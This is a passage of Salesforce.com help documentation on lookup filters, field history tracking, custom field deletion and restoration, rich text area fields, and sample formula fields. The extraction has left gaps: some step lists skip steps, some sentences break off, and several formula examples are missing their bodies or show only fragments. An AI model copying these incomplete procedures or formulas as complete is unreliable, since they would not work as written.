reach the limit of required lookup filters for an object, create optional filters instead and use validation rules to enforce
your business rule when a user saves.
• Lookup filters on currency fields don't convert currencies. For example, if your organization uses multiple currencies and
a lookup filter criteria is Expected Revenue greater than 100000, the lookup shows all records with an
Expected Revenue field value greater than 100,000, regardless of the currency.
• You can't use special date values, such as “Today” or “This Month,” in lookup filter criteria.
• You can't delete fields that are referenced in an active lookup filter.
• You can't change the field type of fields referenced by an active lookup filter.
See Also:
About Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
829
Customize About Custom Fields
Note: Salesforce.com beta features are production-quality but are not functionally complete.
1. You can create lookup filters for new relationship fields in step 3 of the custom field wizard. To create a lookup filter on
an existing field:
a. Navigate to the fields area of the object that contains the relationship field:
• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
b. Click Edit next to the name of the lookup or master-detail relationship field to which you want to apply the filter.
a. In the first column, click the lookup icon or start typing in the text box and select a field.
b. In the second column, select an operator.
c. In the third column, select Value if Salesforce.com should compare the field in the first column with a static value,
or select Field if Salesforce.com should compare the field in the first column with the value of another field.
d. In the fourth column, enter the value or select the field that Salesforce.com should compare with the field in the first
column.
Note:
• To specify advanced filter conditions, click Advanced Options. See Working with Advanced Filter Conditions
on page 2167.
• You can select from fields on the current record, the lookup object, or the user record. You can also choose
related fields that are one relationship away from the lookup object. Salesforce.com assists you by listing the
available fields and relationships when you click the lookup icon or click inside the text boxes.
• Lookup filter criteria can compare fields of different types as long as they are compatible.
4. Specify whether the filter is required or optional. For fields with optional lookup filters, only values that match the lookup
filter criteria appear in the lookup dialog initially; however, users can click the Show all results link in the lookup dialog
to remove the filter and view all search result values for the lookup field. Also, optional lookup filters allow users to save
830
Customize About Custom Fields
values that don't match the lookup filter criteria, and Salesforce.com does not display an error message if a user tries to
save such values.
For required lookup filters, specify whether you want Salesforce.com to display the standard error message or a custom
message when a user enters an invalid value.
5. Optionally, enter text to display in the lookup search dialog. Consider text that guides users in their searches and explains
the business rule that the lookup filter implements.
6. Leave Active selected.
7. Click Save.
Important: When creating a lookup filter on a master-detail relationship field, verify that the current values of the
field on all of the detail records meet the criteria you specify. If you specify criteria that an existing value doesn't meet,
Salesforce.com prevents the user from saving changes to the detail record. If this occurs, the user must first modify
the value on the master record to meet the criteria. For example, consider a custom object with a master-detail
relationship field that points to accounts. If you define a lookup filter that excludes all accounts with a Create Date
before 01/01/2009, verify that no existing records of that custom object have a master-detail relationship with any
account created before 2009. A quick way to do this is to create a report that shows all accounts with a Create Date
before 01/01/2009.
If at some point you no longer need this lookup filter, return to this page and do one of the following:
Deactivate the lookup filter
Deactivating a lookup filter preserves the lookup filter configuration but:
831
Customize About Custom Fields
• For custom objects, click Setup ➤ Create ➤ Objects, select one of the custom objects in the list, and scroll to the Related
Lookup Filters related list.
See Also:
About Lookup Filters
Notes on Lookup Filters
About Dependent Lookups
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
Note: Salesforce.com beta features are production-quality but are not functionally complete.
832
Customize About Custom Fields
Filter Criteria
Position: Status equals value Open
Advanced Criteria
(1 AND 2) OR 3
You can modify the above example to simultaneously restrict users with a “Global Sales” custom profile to only associating
opportunities to accounts with a non-US billing country:
Filter Criteria
Advanced Criteria
(1 AND 2) OR (3 AND 4) OR 5
833
Customize About Custom Fields
Important: If you do not include line 5 in the filter criteria, users who are not in Global Sales or Domestic Sales
cannot select or save any values on account records.
Advanced Criteria
((1 OR 2) AND 3) OR (4 OR 5)
Important: Include the condition you are testing and the opposite condition. In this example, lines 1, 2, and 3 of
the filter criteria ensure that users who are not VPs or Executive Administrators cannot select Executive compensation
plans, while lines 4 and 5 ensure that VPs and Executive Administrators can select Executive compensation plans.
1. Partner Contact: Account: Account Record Type equals value Partner Account
2. Partner Contact: Account: Account Name equals value
834
Customize About Custom Fields
Advanced Criteria
1 OR 2
Note: When comparing lookup fields in lookup filter criteria, Salesforce.com always uses the ID of the relationship
field, not the name.
Object Fields
Meeting • Meeting Name
• Office lookup to the Office object
• Projector Required checkbox
835
Customize About Custom Fields
The following lookup filter on the meeting Conference Room field restricts the valid values to conference rooms that have
a projector if the meeting requires one, as well as the necessary number of seats:
Filter Criteria
1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector
2. Meeting: Projector Required equals value False
3. Conference Room: Number of Seats Available greater or equal field Meeting: Number
of Participants
Advanced Criteria
(1 OR 2) AND 3
To refine the valid values even further, incorporate the office where the conference room is located:
Filter Criteria
1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector
2. Meeting: Projector Required equals value False
3. Conference Room: Number of Seats Available greater than field Meeting: Number of
Participants
4. Meeting: Office equals Field Conference Room: Conference Room Location
Advanced Criteria
(1 OR 2) AND 3 AND 4
836
Customize About Custom Fields
See Also:
About Lookup Filters
Notes on Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
You can select certain standard and custom fields to track on the History related list of accounts, cases, contacts, contracts,
leads, opportunities, solutions, and custom objects. Modifying any of these standard or custom fields adds a new entry to the
History related list. All entries include the date, time, nature of the change, and who made the change. History data does not
count against your organization’s storage limit. Note that not all fields types are available for history tracking. .
For more information on tracking field history, see the following:
837
Customize About Custom Fields
1. Click Setup ➤ Customize and select the object you want to configure.
2. Click Fields.
3. Click Set History Tracking.
• For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History,
Enable Lead History, or Enable Opportunity Field History checkbox. Deselect the checkbox if you do
not want to track any changes. If you deselect the checkbox, the History related list is automatically removed from
associated page layouts.
This checkbox is not available for cases, solutions, or contracts because you cannot disable their history tracking. Certain
changes, such as case escalation, are always tracked.
• When you choose the fields you want to track, Salesforce.com begins tracking history from that date and time forward.
Changes made before that date and time are not included. Note that some case, solution, and contract fields are
preselected for history tracking, so changes to those fields are automatically tracked from the time your organization
began using Salesforce.com.
• If you use both business accounts and person accounts, review the following before enabling account field history tracking:
838
Customize About Custom Fields
- Field history tracking for accounts affects both business accounts and person accounts.
- A maximum of 20 account fields can be tracked. This limit includes fields on person accounts and business accounts.
- Enabling field history tracking on person accounts does not enable field history tracking on personal contacts.
- To report on person account history, run the Account History report.
• You can report on activated contracts whose fields are tracked by clicking New Custom Report on the Reports tab, selecting
Contract Reports as the data type, and choosing Contract History.
• If you disable field history tracking on an object, you can still report on its history data up to the date and time you disabled
tracking.
• You cannot disable field history tracking for an object if a field on the object is referenced in an Apex script. For more
information, see Force.com Apex Code Overview on page 1538.
• If the parent record in a lookup relationship is deleted, the field history tracking for the child record does not record the
deletion. For example, if a parent account is deleted, the Account History related list for the child account does not show
the deletion.
Customization
• When you enable history tracking for an object, be sure to customize your page layouts to include the object's history related
list. For more information, see Customizing Page Layouts on page 1014.
• You cannot customize which opportunity fields are tracked in the opportunities' Stage History related list; however, you
can choose which opportunity fields are tracked in the Opportunity Field History related list.
• You cannot customize the History related list because it does not store data. The History related list links to data stored
elsewhere.
• When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.
• If you disable field history tracking on a custom object, then you cannot report on its field history.
Management
• Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded. For
example, changes to long text area fields are tracked as edited.
• Tracked field values are not automatically translated; they display in the language in which they were made. For example,
if a field value is changed from Green to Verde, Verde is displayed no matter what a user's language is, unless the field
value has been translated into other languages via the Translation Workbench. This also applies to record types and picklist
values.
• Changes to date fields, number fields, and standard field labels are shown in the locale of the user viewing the History
related list. For example, a date change to August 8, 2005 shows as 8/5/2005 for a user with the English (United States)
locale and as 5/8/2005 for a user with the English (United Kingdom) locale.
• Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the
user viewing the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then
a user with a Spanish locale will see the custom field label as Rojo. Otherwise, the user will see the custom field label as
Red.
• Changes to the Amount and Quantity fields on opportunities are tracked even when the field is updated as the result of
a change to an opportunity's products or schedules.
• Changes to the Closed When Created field on cases are only tracked when the field is updated via the Force.com API.
839
Customize About Custom Fields
• Field updates are tracked in the History related list if you have set history tracking on those fields.
See Also:
Case History
Solution History
Contract History
About Custom Fields
Deleting Fields
Viewing Fields
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.
4. Click the name of the field.
5. From the field detail page, you can:
• Click Edit to modify a custom field or change the custom field's data type. See Changing Custom Field Type on page
986.
• Click Set Field-Level Security to set users' access to the field. Available in Enterprise, Unlimited, and Developer
Edition organizations only.
• Click View Field Accessibility to view who can access the field based on profile and record type. Available in Enterprise,
Unlimited, and Developer Edition organizations only.
• If the field is a dependent picklist, view a list of the controlling fields on which it depends. Click New to define a
dependent picklist. Click Edit to change the picklist dependency rules or Del to remove the picklist dependency. For
information on dependent picklists, see Defining Dependent Picklists on page 804.
• If the custom field is a dependent picklist, click [Change] next to the controlling field to edit the picklist dependency
rules. For information on dependent picklists, see Defining Dependent Picklists on page 804.
• Click New in the Validation Rules related list to create a new validation rule for the field. Click Edit to change a
validation rule or Del to remove it. See Defining Validation Rules on page 892.
• For picklist fields, you can add new values and edit, replace, or delete existing values. See Additional Options for
Updating Picklists on page 799.
• To change (External ID), Required, or other attributes under the General Options section, see Custom Field
Attributes on page 817.
• Click Undelete to restore the field and its data. This is only available if the field has been deleted but not permanently
erased. The field's behavior may be different after restoring it. To restore the field completely, see Managing Deleted
Custom Fields on page 842.
840
Customize About Custom Fields
Note: If your organization uses person accounts, the Account Fields page lists both person account and business
account fields.
Person accounts use a combination of account and contact fields. The following contact fields are available for person
accounts:
• Fields in the Account Standard Fields list that display with a person account icon.
• Fields in the Contact Custom Fields & Relationships list.
These contact fields are not available for business accounts. To customize these fields, go to Setup ➤ Customize ➤
Contacts ➤ Fields.
For more information, see What is a Person Account? on page 54.
See Also:
Customizing Fields
Custom Settings Overview
Deleting Fields
Available in: All Editions
1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Del next to the name of the field.
4. When prompted, select the Yes, I want to delete the custom field checkbox to confirm, and click Delete.
Salesforce.com stores deleted custom fields and their data until your organization permanently deletes them or 45 days has
elapsed, whichever happens first. Until that time, you can restore the field and its data. For information on restoring deleted
custom fields and relationships, see Managing Deleted Custom Fields on page 842.
Note:
• Before deleting a custom field, consider where it is referenced. Salesforce.com prevents you from deleting a custom
field that is referenced elsewhere. For example, you cannot delete a custom field that is referenced by a field update
or an Apex script.
• When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.
841
Customize About Custom Fields
• Salesforce.com periodically runs a background process that cleans up metadata associated with deleted custom
fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record
types, and custom objects.
See Also:
Tracking Field History
Salesforce.com stores deleted custom fields and their data until your organization permanently deletes them or 45 days has
elapsed, whichever happens first. Until that time, you can restore the field and its data. However, the field still counts against
the maximum number of custom fields allowed in your organization. To view a list of the maximum number of custom fields
and relationships allowed in your organization, see Salesforce.com Editions and Limits on page 1584.
To view a list of your deleted custom fields and relationships:
1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Deleted Fields at the bottom of the list of custom fields and relationships. The number in parentheses indicates the
total number of deleted custom fields for this object. This link only displays when you have a deleted custom field.
4. Use the list of deleted fields to perform the following actions:
a. Add the field to any page layouts that changed during the time the custom field was deleted. If reports and page
layouts were not edited, the restored field remains on them.
b. Make the field unique if necessary. Salesforce.com automatically removes the unique attribute from any deleted
custom field.
c. Make the field required if necessary. Salesforce.com automatically removes the required attribute for any deleted
custom field.
d. Add the custom field to any appropriate Force.com AppExchange packages. Salesforce.com automatically removes
deleted custom fields from packages that contain them.
842
Customize About Custom Fields
e. Convert any lookup relationships to master-detail relationships if necessary. Salesforce.com converts all relationships
to lookup relationships when they are deleted. To convert a lookup relationship to a master-detail relationship,
populate all the applicable records with the appropriate data.
f. Redefine any field dependencies that Salesforce.com removed when the field was deleted.
g. Edit and save any formula fields, prompting a syntax check that you may have to resolve.
h. Set up field history tracking if necessary. If the list of fields enabled for history tracking has been modified during
the time the custom field was deleted, the restored field is no longer set up to track field history.
843
Customize About Custom Fields
See Also:
Changing Custom Field Type
To improve the appearance of text, including adding images and hyperlinks, create rich text area custom fields. Rich text area
fields use the Salesforce.com HTML editor to format content.
Implementation Tips
Before creating rich text area custom fields, note the following:
• Salesforce.com supports up to 32,000 characters for each rich text area field, including the HTML tags. If desired, you
can set a lower limit.
• When you view or print content, Salesforce.com preserves the formatted version of the HTML in rich text area fields.
• Searches of content that contains rich text area fields ignore images and tags.
• Deleting a rich text area field moves it to the Deleted Fields section on the custom object or Salesforce Knowledge article
types.
• Maximum size for uploaded images is 1 MB. Only gif, jpeg and png file types are supported.
• You can only convert rich text area fields into long text area fields. Any images are deleted the next time the long text area
field is saved.
• You can't add a hyperlink to an image.
• There is no support for disabling specific rich text area features. For example, you can't disable support for hyperlinks or
images on certain fields.
• HTML code is not supported in the editor. HTML code is treated as text.
• JavaScript or CSS is treated as text. For example, if you're creating an Idea through the API, any JavaScript or CSS code
is removed without warning.
• If you're creating an Idea through the API, some tags and attributes are filtered without warning. Salesforce.com supports
a limited number of approved HTML tags.
• Inline editing is not supported for rich text area fields.
• Rich text area fields can be filtered and summarized in reports, but the HTML tags are included as text.
• Rich text area fields aren't available in self service portals. They are available in partner portals and customer portals.
• Images uploaded within a rich text area field are extracted in the organization's weekly export and included in the exported
data.
844
Customize About Custom Fields
• The mobile application treats the rich text area field like a long-text area field, which doesn't support formatted HTML
content and images. The mobile application truncates the field at 1,000 characters, and the 1,000 character limit includes
HTML markup. Administrators should consider removing rich text area fields from mobile page layouts. If a mobile user
edits a rich text area field containing an existing text entry over 1,000 characters, the mobile application will truncate the
text in the field.
• The text part of rich text area fields counts towards data storage for the entity that contains the field. The uploaded images
within the rich text area fields are counted towards file storage for the entity that contains the field.
• The rich text area field is available in the API but without support for uploading images.
Best Practices
• You can specify how big the editor box should be for this field by configuring the “Number of lines displayed” property in
the field’s setup.
• We recommend using the rich text area field in a one column page layout; the field's formatting toolbar is ideal for a single
column.
See Also:
Creating Custom Fields
Adding Custom Fields to Article Types
To improve the appearance of text in custom fields, use the Salesforce.com HTML editor to format custom fields that were
defined with the rich text area custom field type. The Salesforce.com HTML editor provides a WYSIWYG interface, allowing
you to perform basic formatting operations. You can:
• Formatting resumes submitted by job candidates to create more readable and professional-looking versions for your users
• Emphasizing key points in a Description or Comments field by setting various font options, such as bold typeface and a
larger font size
• Itemizing steps in a numbered or bulleted list to help users better understand a procedure
• Supporting your company's brand identity by specifying the URL of a logo on your website
845
Customize About Custom Fields
846
Customize About Formulas
<dl>
The attributes can include URLs that begin with the following:
• http:
• https:
• file:
• ftp:
• mailto:
• / for relative links
See Also:
Using Rich Text Area Fields
Enabling Accessibility Mode
About Formulas
Available in: All Editions
A formula is an algorithm that derives its value from other fields, expressions, or values. Formulas can help you automatically
calculate the value of a field based on other fields. Use formulas for:
• Custom Fields
Create custom formula fields that automatically calculate a value based on other values, merge fields, or expressions. Users
can view formula fields on record detail pages but cannot see the underlying algorithm nor can they edit the value of a
formula field. To create a custom formula field, see Building Formulas on page 878.
847
Customize About Formulas
For common uses of formulas, see Formulas: How Do I... on page 852.
848
Customize About Formulas
Note: Custom formula fields are not available in Connect Offline, Web-to-Lead forms, or Web-to-Case forms.
See Also:
Using Formulas in Salesforce.com
See Also:
Building Formulas
About Formulas
849
Customize About Formulas
Elements of a Formula
A formula can contain references to the values of other standard or custom fields, operators, functions, literal values, or other
formulas. Use any or all of the elements in the following table to build a formula. For more details about building formulas,
see Building Formulas on page 878.
Field Reference Reference the value of another custom or standard field using
a merge field. The syntax for a merge field is field_name
for a standard field or field_name__c for a custom field.
The syntax for a merge field on a related object is
object_name__r.field_name. Use the Insert Field
button or the drop-down list to insert a merge field in your
formula where necessary.
Function A system-defined formula that can require input from you
and returns a value or values. For example, TODAY() does
not require input but returns the current date. The
TEXT(value) function requires your percent, number, or
currency input and returns text.
Operator
A symbol that specifies the type of calculation to perform or
the order in which to do it. For example, the + symbol specifies
two values should be added. The open and close parentheses
specify which expressions you want evaluated first.
850
Customize About Formulas
AND(
/*competitor field is required, check to see
if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types
*/
$RecordType.Name = "ABCD Opportunity",
/* checking for any closed status, such as
closed won and closed lost…allows for
additional closed picklist values in the
future */
CONTAINS(TEXT(StageName), "Closed")
)
/* /* comment */ */
See Also:
Building Formulas
Building Custom Summary Formulas
Quick Reference Guide: Formula Fields
851
Customize About Formulas
Advanced Formulas
• Calculate Commission Amounts for Opportunities?
• Calculate a Contact’s Age?
• Set Up Round Robin Assignment of Cases or Leads?
• Set Up Opportunity Discount Rounded?
852
Customize About Formulas
Cross-Object Formulas
• Display the Created By field from a parent object?
• Display a Percent field from a parent object?
• Display a text field from a parent object?
• Display a phone number field from a parent object?
• Display a picklist field from a parent object?
• Display a URL field from a parent object?
Use the following formula samples when creating custom formula fields. For samples of other types of formulas, see Examples
of Validation Rules on page 893 and Useful Default Field Value Formulas on page 888.
This document contains the following categories of custom formula samples:
• Account Management
• Account Media Service Links
• Case Management
• Commission Calculations
• Contact Management
• Data Categorization
• Date Calculations
• Discounting
• Employee Services
• Expense Tracking
• Financial Calculations
• Image Links
• Integration Links
• Lead Management
• Metrics
• Opportunity Management
• Pricing
• Project Management
853
Customize About Formulas
• Scoring Calculations
See Also:
About Formulas
Operators and Functions
Formulas: How Do I...
Tips on Building Formulas
Quick Reference Guide: Formula Fields
Account Management
Account Rating
This formula evaluates Annual Revenue, Billing Country, and Type, and assigns a value of “Hot,” “Warm,” or “Cold.”
For details about using these functions, see IF on page 953, AND on page 942, CONTAINS on page 947, CASE on page 944,
and ISPICKVAL on page 962.
In addition, you can reference this Account Rating formula field from the contact object using cross-object formulas.
Account.Account_Rating__c
Account Region
This formula returns a text value of “North,” “South,” “East,” “West,” or “Central” based on the Billing State/Province
of the account.
IF(ISBLANK(BillingState), "None",
IF(CONTAINS("AK:AZ:CA:HA:NV:NM:OR:UT:WA", BillingState), "West",
IF(CONTAINS("CO:ID:MT:KS:OK:TX:WY", BillingState), "Central",
IF(CONTAINS("CT:ME:MA:NH:NY:PA:RI:VT", BillingState), "East",
IF(CONTAINS("AL:AR:DC:DE:FL:GA:KY:LA:MD:MS:NC:NJ:SC:TN:VA:WV", BillingState), "South",
IF(CONTAINS("IL:IN:IA:MI:MN:MO:NE:ND:OH:SD:WI", BillingState), "North", "Other"))))))
For details about using these functions, see IF on page 953, LEN on page 964, and CONTAINS on page 947.
Contract Aging
This formula calculates the number of days since a contract with an account was activated. If the contract Status is not
“Activated,” this field is blank.
IF(ISPICKVAL(Contract_Status__c, "Activated"),
NOW() - Contract_Activated_Date__c, null)
For details about using these functions, see IF on page 953, ISPICKVAL on page 962, and NOW on page 971.
854
Customize About Formulas
CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")
For details about using these functions, see CASE on page 944 and MONTH on page 970.
HYPERLINK(
"http://newssearch.bbc.co.uk/cgi-bin/search/results.pl?scope=newsifs;tab=news;q="&Name,
"BBC News")
HYPERLINK(
"http://www.bloomberg.com/apps/quote?ticker="&TickerSymbol,
"Bloomberg News")
855
Customize About Formulas
HYPERLINK(
"http://websearch.cnn.com/search/search?source=cnn&invocationType=search%2Ftop&sites=web&query="&Name,
"CNN News")
MarketWatch™ Search
This formula creates a link to an account's ticker symbol on the Marketwatch.com website.
HYPERLINK(
"http://www.marketwatch.com/tools/quotes/quotes.asp?symb="&TickerSymbol,
"Marketwatch")
Google™ Search
This formula creates a link to a Google search site using the Account Name.
HYPERLINK(
"http://www.google.com/search?en&q="&Name,
"Google")
HYPERLINK(
"http://www.google.com/news?en&q="&Name,
"Google News")
Yahoo!™ Search
This formula creates a link to a Yahoo! search site using the Account Name.
HYPERLINK(
"http://search.yahoo.com/search?p="&Name,
"Yahoo Search")
HYPERLINK(
"http://news.search.yahoo.com/search/news?p="&Name,
"Yahoo News")
For details about using the function used in these formulas, see HYPERLINK on page 952.
Case Management
Autodial
This formula creates a linkable phone number field that automatically dials the phone number when clicked. In this example,
replace "servername" and "call" with the name of your dialing tool and the command it uses to dial. The merge field,
856
Customize About Formulas
Id, inserts the identifier for the contact, lead, or account record. The first Phone merge field tells the dialing tool what number
to call and the last Phone merge field uses the value of the Phone field as the linkable text the user clicks to dial.
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone, Phone)
For details about using this function, see HYPERLINK on page 952.
CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")
IF(IsClosed,
null,
NOW() - CreatedDate )
For details about using these functions, see IF on page 953 and NOW on page 971.
IF(IsClosed,
ROUND(ClosedDate - CreatedDate, 0), ROUND((NOW() - CreatedDate),0))
For details about using these functions, see IF on page 953, ROUND on page 976, and NOW on page 971.
Case Categorization
This formula displays a text value of “RED,” “YELLOW,” or “GREEN,” depending on the value of a case age custom text
field.
857
Customize About Formulas
For details about using these functions, see IF on page 953 and ISBLANK on page 958.
CASE (Priority,
"High", CreatedDate + 2,
"Medium",CreatedDate + 5,
CreatedDate + 7)
For details about using this function, see CASE on page 944.
CASE(Product_Purch__c,
"Printer", "Extra toner cartridges", "Camera", "Memory cards",
"Special of the day")
For details about using this function, see CASE on page 944.
Suggested Offers
This formula suggests a product based on the support history for a computer reseller. When the Problem custom field matches
a field, the formula field returns a suggestion.
CASE(Problem__c,
"Memory", "Suggest new memory cards", "Hard Drive failure", "Suggest new hard drive with
tape backup",
"")
For details about using this function, see CASE on page 944.
Commission Calculations
858
Customize About Formulas
This example calculates the commission amount for any opportunity that has a “Closed Won” stage. The value of this field
will be the amount times 0.02 for any closed/won opportunity. Open or lost opportunities will have a zero commission value.
For details about using these functions, see IF on page 953, ISPICKVAL on page 962, and ROUND on page 976.
Commission Maximum
This formula determines what commission to log for an asset based on which is greater: the user's commission percentage of
the price, the price times the discount percent stored for the account or 100 dollars. This example assumes you have two custom
percent fields on users and assets.
MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)
For details about using this function, see MAX on page 968.
Contact Management
859
Customize About Formulas
Account.Phone
IF(Account.Website="", "",
IF(
OR(LEFT(Account.Website, 7) = "http://",LEFT(Account.Website, 8) = "https://"),
HYPERLINK( Account.Website , "Click Here" ),
HYPERLINK( "http://" & Account.Website , "Click Here" )
)
)
This formula also adds the necessary "http://" or "https://" before a URL if neither were included in the URL field.
For details about using this function, see HYPERLINK on page 952.
Contact’s Age
Use this formula to calculate a person’s age based on a standard field called Birthdate. The person’s Birthdate is subtracted
from today’s date, which returns the number of days since the person’s Birthdate. This number is divided by the number
of days in a year and rounded down to the nearest integer.
FLOOR((TODAY()-Birthdate)/365.2425)
For details about using these functions, see FLOOR on page 950 and TODAY on page 980.
Contact's Birthday
This formula displays the value “Yes” if the contact’s birthday falls in the current calendar month.
IF (
MONTH( Birthdate) = MONTH( TODAY()), "Yes", "")
For details about using these functions, see IF on page 953, MONTH on page 970, and TODAY on page 980.
860
Customize About Formulas
CASE(Preferred_Phone__c,
"Work", "w. " & Phone,
"Home", "h. " & HomePhone,
"Mobile", "m. " & MobilePhone,
"No Preferred Phone")
For details about using this function, see CASE on page 944.
Contact Priority
This formula assesses the importance of a contact based on the account rating and the contact's title. If the account rating is
Hot or the title starts with Executive, then the priority is high (P1). If the account rating is Warm or the title starts with VP
then the priority is medium (P2), and if the account rating is Cold then the priority is low (P3).
"P3")
)
)
Contact Yahoo! ID
This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged on to the service. Users can click
the icon to launch a Yahoo! Messenger conversation with the person. This example uses a custom text field called Yahoo
Name on contacts where you can store the contact's Yahoo! Messenger ID.
HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" &
Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))
For details about using these functions, see HYPERLINK on page 952 and IMAGE on page 955.
CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")
For details about using this function, see CASE on page 944 and BR on page 944.
861
Customize About Formulas
CASE(MailingCountry,
"USA", "1",
"Canada", "1",
"France", "33",
"UK", "44",
"Australia", "61",
"Japan", "81",
"?")
For details about using this function, see CASE on page 944.
IF(Country_Code__c = "1", MID( Phone ,2, 3) & MID(Phone,7,3) & MID(Phone,11,4), Phone)
For details about using these functions, see IF on page 953 and MID on page 969.
Data Categorization
Product Categorization
This formula checks the content of a custom text field named Product_Type and returns “Parts” for any product with the
word “part” in it. Otherwise, it returns “Service.” Note that the values are case sensitive, so if a Product_Type field contains
the text “Part” or “PART,” this formula returns “Services.”
For details about using these functions, see IF on page 953 and CONTAINS on page 947.
862
Customize About Formulas
Date Calculations
Similarly, this formula substitutes the TODAY() function shown in the previous example with a custom date field called Sign
Up Date. It returns the day of the week as a number for that field.
For details about using these functions, see MOD on page 970, TODAY on page 980, and DATE on page 947.
CASE(
MOD(TODAY() - DATE(1900, 1, 7), 7),
0, "Sunday",
1, "Monday",
2, "Tuesday",
3, "Wednesday",
4, "Thursday",
5, "Friday",
6, "Saturday", "Error")
For details about using these functions, see CASE on page 944, MOD on page 970, TODAY on page 980, and DATE on page
947.
Day of Year
This formula calculates today’s numeric day of the year (a number between 1 and 365).
TODAY() – DATE(YEAR(TODAY()), 1, 1) + 1
For details about using these functions, see TODAY on page 980, DATE on page 947, and YEAR on page 986.
863
Customize About Formulas
IF(
MONTH(CloseDate)=12,
DATE(YEAR(CloseDate),12,31) - CloseDate,
DATE(YEAR(CloseDate),
MONTH(CloseDate)+1,1) - CloseDate-1)
For details about using these functions, see IF on page 953, MONTH on page 970, DATE on page 947, and YEAR on page
986.
Time of Day
This formula returns the time of day in Greenwich Mean Time (GMT), for example: “20:04 PM”).
For details about using these functions, see MID on page 969 and TEXT on page 978.
Discounting
864
Customize About Formulas
For details about using these functions, see IF on page 953 and ROUND on page 976.
Employee Services
Bonus Calculation
This example determines an employee's bonus amount based on the smallest of two amounts: the employee's gross times bonus
percent or an equally divided amount of the company's performance amount among all employees. It assumes you have custom
number field for Number of Employees, a custom percent field for Bonus Percent, and currency custom fields for the
employee's Gross and company's Performance.
MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)
For details about using this function, see MIN on page 969.
Employee 401K
This example formula determines which amount to provide in employee 401K matching based on a matching program of half
of the employee's contribution or $250, whichever is less. It assumes you have custom currency field for Contribution.
For details about using this function, see MIN on page 969.
For details about using this operator, see + (Add) on page 936.
Total Pay =
IF(Total_Hours__c <= 40, Total_Hours__c * Hourly_Rate__c,
40 * Hourly_Rate__c +
(Total_Hours__c - 40) * Overtime_Rate__c)
865
Customize About Formulas
Expense Tracking
Expense Identifier
This formula displays the text “Expense-” followed by trip name and the expense number. This is a text formula field that
uses an expense number custom field.
"Expense-" & Trip_Name__c & "-" & ExpenseNum__c
For details about using this operator, see - (Subtract) on page 937.
Mileage Calculation
This formula calculates mileage expenses for visiting a customer site at 35 cents a mile.
Miles_Driven__c * 0.35
For details about using this operator, see * (Multiply) on page 937.
Financial Calculations
Compound Interest
This formula calculates the interest, you will have after T years, compounded M times per year.
Principal__c * ( 1 + Rate__c / M ) ^ ( T * M) )
For details about using these operators, see * (Multiply) on page 937, / (Divide) on page 937, and ^ (Exponentiation) on page
938.
Principal__c * EXP(Rate__c * T)
For details about using this function, see EXP on page 948.
Consultant Cost
This formula calculates the number of consulting days times 1200 given that this formula field is a currency data type and
consulting charges a rate of $1200 per day. Note that Consulting Days is a custom field on opportunities.
Consulting_Days__c * 1200
For details about using this operator, see * (Multiply) on page 937.
Gross Margin
This formula provides a simple calculation of gross margin. In this formula example, Total Sales and Cost of Goods
Sold are custom currency fields.
Total_Sales__c - Cost_of_Goods_Sold__c
866
Customize About Formulas
For details about using this operator, see - (Subtract) on page 937.
For details about using this operator, see * (Multiply) on page 937.
Payment Status
This formula determines if the payment due date is past and the payment status is “UNPAID.” If so, it returns the text
“PAYMENT OVERDUE” and if not, it leaves the field blank. This example uses a custom date field called Payment Due
Date and a text custom field called Payment Status on contracts.
IF(
AND(Payment_Due_Date__c < TODAY(),
ISPICKVAL(Payment_Status__c, "UNPAID")),
"PAYMENT OVERDUE",
null )
For details about using these functions, see IF on page 953, AND on page 942, TODAY on page 980, and ISPICKVAL on
page 962.
Image Links
For details about using these functions, see IF on page 953, LEN on page 964, HYPERLINK on page 952, and IMAGE on
page 955.
867
Customize About Formulas
For details about using these functions, see HYPERLINK on page 952 and IMAGE on page 955.
IMAGE(
CASE( Priority,
"Low", "/img/samples/flag_green.gif",
"Medium", "/img/samples/flag_yellow.gif",
"High", "/img/samples/flag_red.gif",
"/s.gif"),
"Priority Flag")
For details about using this function, see IMAGE on page 955.
For details about using these functions, see IF on page 953 and IMAGE on page 955.
IMAGE(
